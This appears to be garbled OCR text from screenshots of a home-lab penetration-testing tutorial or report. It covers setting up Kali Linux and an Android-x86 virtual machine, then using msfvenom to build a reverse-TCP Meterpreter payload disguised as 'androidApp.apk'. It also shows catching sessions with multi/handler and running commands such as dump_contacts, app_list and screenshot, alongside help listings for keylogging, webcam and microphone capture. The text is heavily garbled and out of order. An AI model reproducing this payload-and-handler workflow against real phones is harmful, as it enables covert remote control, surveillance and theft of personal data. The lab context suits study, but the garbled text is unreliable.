webcam_snap  Take a snapshot from the specified webcam
webcan_stream Play a video stream from the specified webcam
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[T T =G 9 kali@kali: -

File Actions Edit View Help

netstat Display the network connections
port fud Forward a local port to a remote service
resolve Resolve a set of host names on the target
route View and modify the routing table

Stdapi: System Commands

Conmand Description
clearev Clear the event log
drop_token  Relinquishes any active impersonation token
execute Execute a comsand
getenv Get one or more environment variable values
getpid Get the current process identifier
getprivs Attempt to enable all privileges available to the current process
getsid Get the SID of the user that the server is running as
getuid Get the user that the server is running as
Kill Terminate a process
localtime  Displays the target system local date and time
pgrep Filter processes by name
pkill | Terminate processes by name
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
revasel f Calls RevertToSelf() on the remote machine
u Drop into a system command shell

shutdow Shuts down t
teal_token Attempts to

on token from the target proce
pend Suspe

ysinf Sets information abowt the remcte syste as 0
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T 1=HIE 9 kali@kali: ~

File Actions Edit View Help

Stdapi: User interface Commands

Conmand Description

enundesktops  List all accessible desktops and window stations

getdesktop  Get the current meterpreter desktop
idletime Returns the number of seconds the remote user has been idle
keyboard_send Send keystrokes
keyevent Send key events

keyscan_dump  Dump the keystroke buffer
keyscan_start Start capturing keystrokes
keyscan_stop Stop capturing keystrokes
nouse Send mouse events

arel

screensh: Watch the remote user desktop in real time
screenshot Grab a screenshot of the interactive desktop
setdesktop  Change the meterpreters current desktop

uictl Control some of the user interface components

Stdapi: Webcam Commands

Conmand Description
record_mic Record audio from the default microphone for X seconds
webcam_chat  Start a video chat

ebcan_snap a snapshot from the specified webcam

ebcan_strea > from the specified webcan
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meterpreter > screenshot
Screenshot saved to: /home/kali/BSFLCoDw. jpeg
meterpreter > |
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& android-x86.0rg 3 ¢®»00 :

mmyy896-YouT. @ Facebook @ redait: the rontpa... 158 Loyes Bank Amazon.couk Low Netlx - Sider @ Messenger § Spurs TV Totienha »

Android-x86

Run Android on your PC ©

Support Andr 6
Bu up of

This is a project to port o x86 platform, formerly known as

. The original plan is to host different patches for android xB6 support from
mmunity. A few months after we created the projec
much more than just hosting patches. So we decide to create our code base to provide support on
different x86 platfo

we found out thaf

en sourc

and sef to host it

up agit se

This is an open source project licensed under Apache Public License 2.0. Some components are
licensed under GNU General Public License (GPL) 2.0 or later. If you think we did something great

=D

P Type here to search i C Mostly cloudy
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Downloading File /71931/androir X +

& C @ osdn.net/projects/android-x86/downloads/71931/android

&l 0-r2.iso/ 2

2 % ¢« @ »060
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OSDN > Find Softwar ystem > OS distribution > Live CD > Android-x86 > Download File List > Download
Category: Software v
__AndrOId-Xse 4 Fork~. Q Search
Downloads~
Download of Android-x86 Release 9.0 ( 965,738,496 bytes) will begin shortly. If not so, click
Mirror server info Change
File Information

GIGENE]

File Size 965,738,496 bytes
MD5  e9ba997cede7bf3514d2ba3e624f767
SHA1  1cc85b5ed7c830ff7 1aecf8405c7281a9c995aa0
SHA256 f7eb8fc56f29ad5432335dc054183acf086c539f3990f0b6e9ff58bd6df4604e

Where do you want to go next?

Project Description

Review
This is a project to port Android open source project to x86 platform, formerly known as "patch hosting for android x86 support". 100
(I 30
We use cookies to understand how you use our site patches for android x86 support from open source community. A few months after we created Iee
E I R e R TSN Ve T R Tl Ul do much more than just hosting patches. So we decide to create our code base to provide * ok ok ok .
our site, you accept our use of cookies, Privacy Policy IR aaN R e AL e I
15
and Terms of Use. ised under Apache Public License 2.0. Some components are licensed under GNU General n
- Privacy policy Term of Use Your rating

Show all

L Type here to search
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forms to list)

-0, --out <path>
-b, --bad-chars <list>
-n, --nopsled <length>
e payload
--pad-nops

Save the payload to a file
Characters to avoid example: '\x00\xff'
Prepend a nopsled of [length] size on to thf

Use nopsled size specified by -n <length> af

s the total payload size, auto-prepending a nopsled of quantity (nops minus payl

oad length)

-s, --space <length>
--encoder-space  <length>

faults to the -s value)

-i, --iterations <count>

-c, --add-code <path>
to include

-x, --template <path>
a template

-k, --keep
t the payload as a new thread

-v, --var-name <value>
ertain output formats

-t, --timeout <second>

The maximum size of the resulting payload
The maximum size of the encoded payload (del

The number of times to encode the payload
Specify an additional win32 shellcode file

Specify a custom executable file to use as
Preserve the --template behaviour and injec|
Specify a custom variable name to use for c|

The number of seconds to wait when reading

the payload from STDIN (default 30, © to disable)

-h, --help
root@kali:~#

Show this message
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root@kali:~# msfvenom -p android/meterpreter/reverse tcp LHOST=192.168.1.23 LPOf
=4444 R > /var/www/html/androidApp.apk

(-] No platform was selected, choosing Msf::Module::Platform: :Android from the p|
ayload

[-] No arch selected, selecting arch: dalvik from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 10092 bytes
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root@kali:~# msfconsole
This copy of metasploit-framework is more than two weeks old.
‘Consider running 'msfupdate’ to update to the latest version.
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nsf5 > use exploit/multi/handler
nsf5 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
nsfS exploit(multi/handler) > show options
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Payload options (android/meterpreter/reverse tcp):

Name  Current Setting Required Description

LHOST 192.168.1.23 yes The listen address (an interface may be spe|

cified)
LPORT 4444 yes The listen port

Exploit target:
Id Name

©  Wildcard Target

nsf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.23:4444
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[*] Started reverse TCP handler on 192.168.1.23:4444

[*] Sending stage (72445 bytes) to 192.168.1.21

[*] Meterpreter session 1 opened (192.168.1.23:4444 -> 192.168.1.21:50168) at 20|
19-09-15 18:30:24 +0800

[*] Sending stage (72445 bytes) to 192.168.1.21

[*] Meterpreter session 2 opened (192.168.1.23:4444 -> 192.168.1.21:44720) at 20
19-09-15 18:30:24 +0800

[*] Sending stage (72445 bytes) to 192.168.1.21

[*] Meterpreter session 3 opened (192.168.1.23:4444 -> 192.168.1.21:34620) at 20
19-09-15 18:30:24 +0800

[*] Sending stage (72445 bytes) to 192.168.1.21

[*] Meterpreter session 4 opened (192.168.1.23:4444 -> 192.168.1.21:36583) at 20
19-09-15 18:30:25 +6800

[*] Sending stage (72445 bytes) to 192.168.1.21
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VM VirtualBor - o

<« C @ hitp//192168.1.23:8000/androidApp apk
ble

Webpage not av

The webpage at hitp./192 168.1.23.8000/androkdApp.apk could not be loaded because:

net-ERR_CONNECTION_REFUSED
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meterpreter > background
[*] Backgrounding session 4...
nsf5 exploit(multi/handler) > sessions

Active sessions

Id Name Type

il meterpreter dalvik/android
192.168.1.21:50168 (192.168.1.21)

2 meterpreter dalvik/android
192.168.1.21:44720 (192.168.1.21)

3 meterpreter dalvik/android
192.168.1.21:34620 (192.168.1.21)

4 meterpreter dalvik/android
192.168.1.21:36583 (192.168.1.21)

5 meterpreter java/android

192.168.1.21:41583 (192.168.1.21)

Information

u6_ab1 @ localhost

u6_a61 @ localhost
u6_a61 @ localhost

u6_a61 @ localhost

Connection

192.168.1.23:4444 -

192.168.1.23:4444 -
192.168.1.23:4444 -
192.168.1.23:4444 -

192.168.1.23:4444 -
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msf5 exploit(multi/handler) > se
search  services sessions set setg
nsf5 exploit(nulti/handler) > sessions -i 1
[*] Starting interaction with 1.
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neterpreter > help
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Command

cat

cd
checksum
cp

dir
download
edit
getlwd
getwd
lcd

s

File system Commands

Description

Read the contents of a file to the screen
Change directory

Retrieve the checksum of a file
Copy source to destination

List files (alias for ls)
Download a file or directory
Edit a file

Print local working directory
Print working directory

Change local working directory
List local files
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ion
load
machine_id
ion
pry
quit
read
resource
run
secure
sessions
set_timeouts.
sleep
ession.
transport
use
uuid
write

Load one or more meterpreter extensions
Get the MSF ID of the machine attached to the sess|

Open the Pry debugger on the current session
Terminate the meterpreter session

Reads data from a channel

Run the commands stored in a file

Executes a meterpreter script or Post module
(Re)Negotiate TLV packet encryption on the session
Quickly switch to another session

Set the current session timeout values

Force Meterpreter to go quiet, then re-establish s;

Change the current transport mechanism
Deprecated alias for "load"

Get the UUID for the current session
Writes data to a channel





image88.png
Stdapi: File system Commands

Command Description

cat Read the contents of a file to the screen
cd Change directory

checksun Retrieve the checksum of a file
p Copy source to destination

dir List files (alias for ls)
download Download a file or directory
edit Edit a file

getlwd Print local working directory
getwd Print working directory

Ted Change local working directory

s List local files
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Application Controller Commands

Command Description
app_install  Request to install apk file
app_list List installed apps in the device
app_run Start Main Activty for package name

app_uninstall Request to uninstall application
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meterpreter > app list
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Sound Recorder

lse true
System UI
lse true
Terninal Emulator
lse true
User Dictionary
lse true
Vpnbialogs
lse true
YouTube
lse true
com.android. backupconfirm
lse  true
com.android.provision
lse true
com.android. sharedstoragebackup
lse  true
com.android.wallpaper. holospiral
lse true
com.android.wallpapercropper
lse true

com.android.soundrecorder
com.android. systemui
jackpal.androidtern
com.android.providers.userdictionary
com.android.vpndialogs
com.google.android.youtube
com.android.backupconfirm
com.android.provision

com.android. sharedstoragebackup
com.android.wallpaper.holospiral

com.android.wallpapercropper
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meterpreter > dump_

dump_calllog  dump_contacts dump_sms

meterpreter > dump_

dump_calllog  dump_contacts dump_sms

meterpreter > dump_contacts

[*] Fetching 1 contact into list

[*] Contacts list saved to: contacts dump_20190915183350.txt
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meterpreter > webcam_

webcam chat  webcam list  webcam_snap
meterpreter > webcam_

webcam_chat  webcam list  webcam_snap
meterpreter > webcam list

[-]1 No webcams were found

webcan_strean

webcam_stream
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TP-Link

Model No. TLWRB4IN

Quick Setup Wireless Security Settings

Operation Mode

Basic Settings

wps
- Wireless Security
Wireless MAC Filterir

Wireless Advanced
Encryption:
Wireless Statistics
Wireless Password
Guest Network
Group Key Update Period

@ WPAWPAZ - Personal (Recommended)

less N Router WR841N
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AES 5

* rsacs) D

]




image12.png




image13.png
Oracle VM VirtualBox Manager

File Machine Help

e
Ly

& AR L

Preferences  Import Export  New Add
Welcome to VirtualBox!

The left part of application window contains
global tools and lists all virtual machines and
virtual machine groups on your computer. You
can import, add and create new VMs using
corresponding toolbar buttons. You can popup
tools of currently selected element using
corresponding element button,

You can press the F1 keyto get instant help, or
visit for more information and

latest news.
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¥# Oracle VM VirtualBox Manager
File Machine Help

e G oD

New Settings Discard Start

S General
Name: KaliLinux
Operating System: Debian (64-bit)
- 8] system
Base Memory: 4096 MB
Processors: 5
Boot Order:  Floppy, Optical, Hard Disk
EFL: Enabled

Acceleration:  VT-x/AMD-V, Nested Paging, KVM Faravirtualization

I pisplay
Video Memory: 208
Graphics Controller:  VMSVGA
Remote Desktop Server: Disabled
Recording: Disabled
@ storage
Controller: DE
IDE Secondary Device 0:  [Optical Drive] kali-inux-2022.1-installer-netinst-amds. so (471.00 ME)
Controller: SATA
SATA Port 0: Kal.Linuxvdi (Normal, 40.00 G&)

9 Audio

Host Driver: - Windows DirectSound
Controller:  ICH AC97

Network

Adapter 1: Intel PRO/1000 MT Desktop (NAT)
£ uss

USB Controller: OHCI
Device Filters: 0 (0 active)

[ shared folders

None
© Dpescription

None

Sunny

-

review

Kali.Linux

2133

15/04/2022
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l® Kali.Linux [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

You have the Auto capture keyboard option turned on. This wil cause the Virtual Machine to automatically capture the keyboard every time the VM window s activated and make it unavailable to other applications running on your host machine: when the keyboard
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Select a language

KALI

Choose the language to be used for the installation process. The selected language will also be the default language for the installed system.

Language: 1
Bulgarian Bunrapcku =
Burmese Gfonen
catalan catala 4
Chinese (simplified) )
Chinese (Traditional) ()
Croatian Hrvatski 3
czech Cestina
Danish Dansk
Dutch Nederlands =
Dzongkha Ll
Esperanto Esperanto
Estonian Eesti
Finnish Suomi
French Francais
Galego
Jobmywa
German Deutsch
Greek EMnuikd
Gujarati agradl
Hebrew nay
Hindi et H

Screenshot

Continue
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KALI

Configure the network

Please enter the hostname for this system.

The hostname is a single word that identifies your system to the network. If you don't know what your hostname should be, consult your
trator. If you are setting up your own home network, you can make something up here.

network admi
Hostname:

[al

am|

Screenshot
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Set up users and passwords

KALI

A good password will con
Choose a password for the new user:

a mixture of letters, numbers and punctuation and should be changed at regular intervals.

) Show Password i clear

Please enter the same user password again to veri

Re-enter password to verify:

you have typed it correctly.

[ Show Password in Clear

Screenshot
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KALI

Finish the installation

Installation complete

Installation is complete, so it is time to boot into your new system. Make sure to remove the installation media, so that you boot into
the new system rather than restarting the installation.

Please choose <Continue> to reboot.

Screenshot Continue
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